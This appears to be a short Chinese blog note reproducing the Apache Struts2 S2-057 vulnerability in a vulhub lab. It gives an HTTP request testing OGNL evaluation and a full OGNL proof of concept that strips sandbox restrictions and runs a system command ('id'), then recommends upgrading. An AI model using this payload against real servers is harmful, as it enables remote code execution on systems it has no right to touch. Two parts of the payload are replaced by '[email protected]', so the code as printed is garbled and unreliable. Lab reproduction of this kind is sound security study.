Struts2-057漏洞復現
- 2019 年 10 月 6 日
- 筆記
環境地址:vulhub
http://172.16.1.87:8090/showcase
影響版本:小於等於 Struts 2.3.34 與 Struts 2.5.16

測試一下OGNL的表達式:${233*233}
$%7B233*233%7D/actionChain1.action
請求:
GET/showcase/$%7B233*233%7D/actionChain1.action HTTP/1.1
Host: 172.16.1.87:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0;WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: JSESSIONID=64576605D2AA6BD07160B7C9E6C1A7AA
X-Forwarded-For: 8.8.8.8
Connection: close

可見233*233的結果已經在返回結果頭部中了!
利用OGNL表達式進行測試id:
Poc:
${(#[email protected]@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#[email protected]@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
將poc進行url編碼,否則無法成功!

漏洞修復:
該漏洞在兩種情況下存在,第一,當xml配置中未設置namespace 值,且上層動作配置(action(s) configurations)中未設置或使用通配符namespace值時,可能導致遠程代碼執行漏洞的發生。第二,使用未設置 value和action值的url標籤,且上層動作配置中未設置或使用通配符namespace值
所以直接升級到最新版本中可以修復漏洞!
